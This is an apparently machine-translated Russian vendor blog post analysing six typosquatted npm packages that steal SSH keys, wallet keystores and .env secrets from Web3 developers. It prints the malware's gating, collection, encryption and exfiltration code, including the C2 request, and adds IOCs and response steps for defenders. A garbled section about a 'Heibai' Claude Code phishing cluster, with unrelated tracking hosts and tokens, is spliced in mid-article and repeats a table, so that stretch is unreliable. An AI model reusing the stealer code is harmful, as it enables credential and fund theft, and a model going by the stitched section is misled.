Атака с использованием метода тайпсквоттинга в npm от EVMDeFi крадет ключи разработчиков.

Атака с использованием метода тайпсквоттинга в EVM/DeFi npm крадет ключи разработчиков.

TL, д-р

6 мая 2026 года единственный издатель npm, namikazesarada010206распространили шесть вредоносных пакетов, нацеленных на экосистему разработчиков Ethereum, Solidity и DeFi.

Посылки, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils и web3-utils-coreиспользовались правдоподобные названия, призванные имитировать вспомогательные библиотеки для популярных инструментов Web3.

Все шесть упаковок содержали одно и то же. telemetry.js файл. Файл был идентичен по байтам во всем кластере, с использованием хеша SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Вредоносная программа не запускается во время установки. Нет никаких дополнительных действий. preinstall or postinstall Вместо этого он активируется при импорте пакета через require().

Эта деталь имеет значение.

Встроенный модуль ожидает, пока разработчик фактически не воспользуется пакетом. Затем он проверяет, соответствует ли рабочая станция реальной среде разработки Ethereum/Solidity. Он ищет ключи Alchemy или Infura, закрытые ключи, мнемоники, ключи развертывания или локальный каталог Foundry.

Если хост совпадает, злоумышленник получает закрытые ключи SSH, а также хранилища ключей кошельков Foundry / Geth / Brownie. .env* файлы и конфиденциальные переменные среды. Программа шифрует пакет с помощью AES-256-GCM, используя жестко заданную парольную фразу, и передает его на необработанную конечную точку управления IPv4 с отключенной проверкой TLS.

Система раннего предупреждения о вредоносном ПО (MEW) компании Xygeni подтвердила, что все шесть пакетов являются вредоносными. Отчет о блокировке через реестр npm находится в процессе обработки.

Кластер: шесть пакетов, один издатель

Учётная запись издателя namikazesarada010206 был связан с неподтвержденным адресом Gmail. namikazesarada010206@gmail.com.

Кампания стартовала в виде однодневной публикации 6 мая 2026 года. Все шесть пакетов были выпущены в различных версиях. 1.0.0не имел зависимостей во время выполнения и поставлялся всего с тремя файлами:

package.json
index.js
telemetry.js

Они также указали один и тот же репозиторий исходного кода:

https://github.com/harunosakura030303-maker/evmchain-config

Первые три пакета были обнаружены сканерами MEW при первой публикации. Остальные три были принудительно помечены после проверки аналитиками профиля npm издателя. После того, как один и тот же байтовый файл стал идентичным, telemetry.js Подтверждено по всей группе, они были признаны вредоносными на основании единообразия.

Упаковка Версия npm Опубликовано Билет MEW Вердикт
вием-кор 1.0.0 2026-05-06 01:38:44Z #51049 Злонамеренный
viem-utils-core 1.0.0 2026-05-06 #51050 Злонамеренный
hardhat-core-utils 1.0.0 2026-05-06 #51051 Злонамеренный
evm-utils 1.0.0 2026-05-06 #51069 Злонамеренный, по порядку
foundry-utils 1.0.0 2026-05-06 #51071 Злонамеренный, по порядку
web3-utils-core 1.0.0 2026-05-06 #51070 Злонамеренный, по порядку

Стратегия именования проста, но эффективна.

Эти пакеты не имитируют точные имена исходных файлов. Вместо этого они используют правдоподобные «вспомогательные» суффиксы, такие как -core, -utils и -utils-coreЭто делает их похожими на вспомогательные библиотеки, которые разработчик мог бы ожидать увидеть рядом с инструментами Web3.

Вредоносный пакет Законная цель
вием-кор viem — популярный клиент Ethereum на TypeScript.
viem-utils-core вием
hardhat-core-utils hardhat — это широко используемая среда разработки на Solidity.
evm-utils Общее пространство имен инструментов EVM
foundry-utils Foundry, набор инструментов Solidity
web3-utils-core web3-utils, Web3.js helpers

Это модель «дополнительного пакета»: не «я и есть настоящий пакет», а «я выгляжу как разумный помощник рядом с настоящим пакетом».

Для разработчиков DeFi, работающих в быстром темпе, этого достаточно, чтобы создать риски.

Что происходит при импорте посылки?

Цепочка атак невелика, целенаправленна и ориентирована на среды разработки криптографических приложений.

Крепежный элемент для установки отсутствует. Вместо этого каждый комплект включает в себя index.js который экспортирует заглушечную функциональность, а затем загружает вредоносный модуль телеметрии.

require('./telemetry').init();

Это означает, что вредоносная программа активируется при первом импорте.

Это полезно для злоумышленника с оперативной точки зрения. Многие сканеры и песочницы фокусируются на поведении во время установки. Этот же пакет ожидает, пока его фактически не использует разработчик, скрипт сборки, набор тестов или среда выполнения.

Вход в систему: активация происходит только на реальных рабочих станциях разработчиков Web3.

Наиболее важной частью имплантата является активационный затвор.

Вредоносная программа проверяет наличие переменных окружения, часто встречающихся на машинах разработчиков Ethereum/Solidity:

const indicators = [
  process.env.ALCHEMY_API_KEY,
  process.env.INFURA_KEY,
  process.env.PRIVATE_KEY,
  process.env.MNEMONIC,
  process.env.DEPLOYER_KEY,
].filter(Boolean);

Также проверяется, установлен ли Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Если ни одно из условий не выполняется, функция возвращает управление и ничего не делает.

Это делает пакет более незаметным в стандартных средах анализа. В песочнице без Foundry, ключей Alchemy, ключей Infura, закрытых ключей или мнемоник импорт может выглядеть безобидным.

На подходящем хосте вредоносная программа ожидает от 60 до 90 секунд перед сбором данных:

setTimeout(() => { try { _collect(); } catch {} },
          60000 + Math.random() * 30000).unref();

Задержка снижает очевидную корреляцию между импортом и эксфильтрацией. .unref() Этот вызов также позволяет хост-процессу завершиться в обычном режиме, если пакет был импортирован в кратковременном скрипте.

Это не шумное и агрессивное воровство. Это целенаправленный воровской инструмент, разработанный таким образом, чтобы не запускаться, если среда разработки не представляет ценности для кражи.

Что собирает вор

После прохождения этапа активации вредоносное ПО собирает данные из наиболее важных источников в разработке Web3: закрытые ключи, хранилища ключей кошельков, учетные данные развертывания, секреты облака, токены npm и локальная конфигурация проекта.

Источник Что собирается
процесс.env Любая переменная, соответствующая /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлы, содержащие PRIVATE KEY или BEGIN OPENSSH, включая полное содержимое файла.
~/.foundry/keystores/* файлы хранилища ключей кошелька Foundry
~/.ethereum/keystore/* Файлы хранилища ключей кошелька Geth
~/.brownie/accounts/* Файлы хранилища ключей для кошелька Brownie
${cwd}/.env Полное содержимое файла
${cwd}/.env.local Полное содержимое файла
${cwd}/.env.production Полное содержимое файла
${cwd}/.env.development Полное содержимое файла
os.hostname() метаданные хоста
крипто.randomUUID() Идентификатор жертвы/сессии
Date.now () метка времени сбора
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com

Токены ATTA:

ATTA_ID 00400014144
ATTA_TOKEN 6478159937

Нам не удалось подтвердить, являлись ли данные телеметрии собственной аналитикой оператора или отдельным монетизируемым каналом. Токены ATTA одинаковы в обоих исследованных нами образцах.

Кластер B: Хэйбай

claude.hk Фишинг OAuth + Перехват ANTHROPIC_BASE_URL

Выборка от 1 апреля представляет собой более приблизительный и ранний этап кампании.

heibai:2.1.88-claude.hk-4 был опубликован wuguoqiangvip28Учетная запись создана 7 июня 2025 года. Пакет явно версионировался относительно легитимной версии. 2.1.88 Антропический релиз.

Она не занимается атаками типа MITM с использованием сертификатов центров сертификации. Вместо этого она обманывает пользователя относительно конечной точки OAuth.

В числе вредоносных дополнений к просочившемуся в сеть исходному коду Claude Code:

Источник Что собирается
процесс.env Любая переменная, соответствующая /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлы, содержащие PRIVATE KEY или BEGIN OPENSSH, включая полное содержимое файла.
~/.foundry/keystores/* файлы хранилища ключей кошелька Foundry
~/.ethereum/keystore/* Файлы хранилища ключей кошелька Geth
~/.brownie/accounts/* Файлы хранилища ключей для кошелька Brownie
${cwd}/.env Полное содержимое файла
${cwd}/.env.local Полное содержимое файла
${cwd}/.env.production Полное содержимое файла
${cwd}/.env.development Полное содержимое файла
os.hostname() метаданные хоста
крипто.randomUUID() Идентификатор жертвы/сессии
Date.now () метка времени сбора

Целевой список весьма специфичен. Речь идёт не о краже браузерных данных или массовом сборе учётных данных. Он нацелен на разработчиков, которые создают, тестируют, развертывают или эксплуатируют приложения на платформе Ethereum.

Включение хранилищ ключей Foundry, Geth и Brownie особенно важно. Эти файлы могут представлять собой прямой доступ к кошелькам или идентификаторам развертывания. Если злоумышленник сможет связать их с паролями, мнемоническими обозначениями или секретами среды, он сможет перемещать средства, выдавать себя за развертывающих пользователей или скомпрометировать работу смарт-контрактов.

Шифрование перед утечкой данных

Вредоносная программа шифрует собранные данные перед их отправкой.

const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Заданная парольная фраза:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Итоговая полезная нагрузка представлена ​​в формате JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шифрование само по себе не делает вредоносное ПО более сложным. Однако оно затрудняет проверку сети. Специалист по защите, отслеживающий исходящий трафик, увидит полезную нагрузку в формате JSON, но не украденные ключи, файлы кошелька или что-либо ещё. .env Содержимое без жестко закодированной парольной фразы и логики расшифровки.

Эксфильтрация данных в необработанный IPv4 C2

Путь утечки данных жестко задан в коде:

const req = https.request({
  hostname: '76.13.37.80', port: 8443,
  path: '/api/v1/telemetry', method: 'POST',
  headers: { 'Content-Type': 'application/json', ... },
  rejectUnauthorized: false, timeout: 8000,
}, () => {});

Вредоносная программа отправляет данные по следующему адресу:

https://76.13.37.80:8443/api/v1/telemetry

Две детали особенно бросаются в глаза.

Во-первых, C2 использует необработанный IPv4-адрес, а не домен. Это устраняет необходимость в регистрации домена и позволяет избежать некоторых обнаружений, основанных на домене.

Во-вторых, проверка TLS отключается при следующих условиях:

rejectUnauthorized: false

Это позволяет вредоносной программе принимать любые сертификаты, включая самоподписанные. Другими словами, злоумышленник получает возможность зашифрованной передачи данных без необходимости наличия действительного открытого сертификата.

Здесь нет логики повторных попыток и нет резервного хоста. Ошибки игнорируются беззвучно. Это позволяет пакету оставаться незамеченным, если центр управления и контроля (C2) отключен или недоступен.

Почему эта кампания имеет значение

Большинство вредоносных npm-пакетов, нацеленных на разработчиков, стремятся получить доступ к широким возможностям учетных данных: токенам npm, ключам AWS, токенам GitHub и т.д. .npmrc файлы.

Эта кампания сужает целевую аудиторию.

Программа ищет признаки того, что машина принадлежит разработчику Ethereum или Solidity. Затем она извлекает именно те ресурсы, которые важны в этой среде: хранилища ключей кошелька, закрытые ключи, мнемоники, ключи развертывания. .env файлы и SSH-ключи.

Это делает кампанию более опасной для команд Web3, чем обычный похититель npm-пакетов.

Успешное заражение может выявить:

  • Кошельки развертывания
  • ключи администратора смарт-контракта
  • ключи поставщика RPC
  • учетные данные для развертывания в облаке
  • npm издательские токены
  • SSH-доступ к инфраструктуре разработчика или сборки.
  • Секреты проекта хранятся в .env файлов
  • Кладовки-кошельки для Foundry, Geth или Brownie

Названия пакетов также явно демонстрируют элементы социальной инженерии. Они нацелены на экосистему разработчиков Web3, используя знакомые названия инструментов: viem, hardhat, foundry, evm и web3.

Актеру не нужно идти на компромисс с реальными проектами. Ему нужен лишь разработчик, который установит, на первый взгляд, подходящий сопутствующий пакет.

Индикаторы компрометации и обнаружения

Пакеты и издатель
Поиск Значение
издатель npm namikazesarada010206
Электронное письмо издателя namikazesarada010206@gmail.com
Адрес электронной почты подтвержден Нет
SCM проверено Нет
оценка репутации 1.0
Packages viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core
Версии Все 1.0.0
Репозиторий исходного кода https://github.com/harunosakura030303-maker/evmchain-config
Подтверждено наличие вредоносного кода. Все шесть пакетов
Cеть
Тип Значение
Конечная точка C2 https://76.13.37.80:8443/api/v1/telemetry
С2 IP 76.13.37.80
порт C2 8443/TCP
поведение TLS rejectUnauthorized: false
Схема полезной нагрузки {"v":2,"iv": ,"д": ,"т": }
Файлы и хеши
Тип Значение
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Макет упаковки package.json, index.js, telemetry.js
Количество файлов 3
Приблизительный общий размер 3.4 KB

Сигналы активации

Вредоносная программа проверяет следующие переменные среды:

ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY

Также проверяется следующее:

~/.foundry/

Целевые пути к хосту

~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development

Регулярное выражение для коллекции

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Заметки об обнаружении

Несколько правил позволяют выявить эту кампанию без необходимости проведения полного поведенческого анализа.

Сначала просканируйте файлы блокировки на наличие шести вредоносных имен пакетов:

viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core

Любой матч в package-lock.json, yarn.lock, pnpm-lock.yaml или node_modules К событиям истории следует относиться как к серьезным происшествиям.

Во-вторых, отслеживайте процессы Node.js, считывающие пути к хранилищу ключей кошелька:

~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/

Такое поведение редко бывает допустимым для пакета, импортированного в качестве вспомогательной зависимости. Оно особенно подозрительно, если за ним следует исходящая сетевая активность.

В-третьих, блокировать или оповещать о HTTPS-соединениях по следующим адресам:

76.13.37.80:8443

Особенно когда путь запроса выглядит следующим образом:

/api/v1/telemetry

В-четвертых, найдите пакеты npm, которые сочетают в себе эти характеристики:

  • Новое или малоизвестное издательство
  • Неподтвержденный аккаунт Gmail
  • Название пакета, смежного с Web3
  • Отсутствует содержательная история репозитория.
  • Макет крошечной упаковки
  • index.js загружает файл телеметрии или вспомогательный файл.
  • Нет зависимостей во время выполнения.
  • Сбор чувствительных к переменным условиям окружающей среды материалов
  • Доступ к хранилищу ключей кошелька

Этот шаблон более полезен, чем один индикатор компрометации, поскольку следующий пакет может изменить IP-адрес, но сохранить ту же логику нацеливания.

Контрольный список для реагирования на компромисс

Если разработчик использовал один из шести пакетов, и его среда соответствовала условиям активации, следует считать рабочую станцию ​​скомпрометированной.

Это включает в себя машины с установленным Foundry, ключами Alchemy или Infura в среде, закрытыми ключами, мнемоническими ключами или ключами развертывания.

Рекомендуемый ответ:

  • Отключите хост от сети.
  • Сохранять node_modulesфайлы блокировок, история командной оболочки и соответствующие журналы для проведения криминалистического анализа.
  • Поверните каждую пару SSH-ключей в соответствии с указанными ниже параметрами. ~/.ssh/.
  • Поворачивайте ключи кошелька для каждого хранилища ключей в ~/.foundry, ~/.ethereum и ~/.brownie.
  • Переведите средства на новые кошельки.
  • Поверните все секретные данные, хранящиеся в .env* файлы в репозиториях, в которых работал разработчик.
  • Обменяйте секреты среды, соответствующие регулярному выражению коллекции, включая ключи AWS, токены npm, токены развертывания, ключи API, закрытые ключи, сиды и мнемоники.
  • Проведите аудит активности в облачных сервисах, npm, GitHub, RPC-провайдерах и блокчейне с момента первой установки пакета.
  • Перед повторным использованием переустановите операционную систему на рабочей станции.

Что должны усвоить защитники

Эта кампания демонстрирует, как проблема тайпсквоттинга в npm развивается в рамках высокоэффективных экосистем разработчиков.

Актёру не требовалось сохранение активности. Ему не требовалась обфускация. Ему даже не требовалось выполнение во время установки.

Вместо этого они полагались на три вещи:

  • Правдоподобные названия пакетов Web3
  • Активация возможна только на реальных машинах для крипторазработки.
  • Прямая кража файлов и секретов, имеющих первостепенное значение для разработчиков Ethereum.

Из-за этого кампанию легко пропустить при беглом просмотре, и она становится опасной, когда попадает в подходящую среду.

Для команд Web3 урок очевиден: относитесь к названиям зависимостей как к части вашей модели угроз. Пакет, который выглядит как безобидный вспомогательный инструмент, все равно может стать кратчайшим путем к компрометации кошелька.

Сообщение отправлено в реестр npm. Мы обновим это сообщение, когда учетная запись издателя и пакеты будут удалены.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
7-дневная бесплатная пробная версия
Кредитная карта не требуется.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni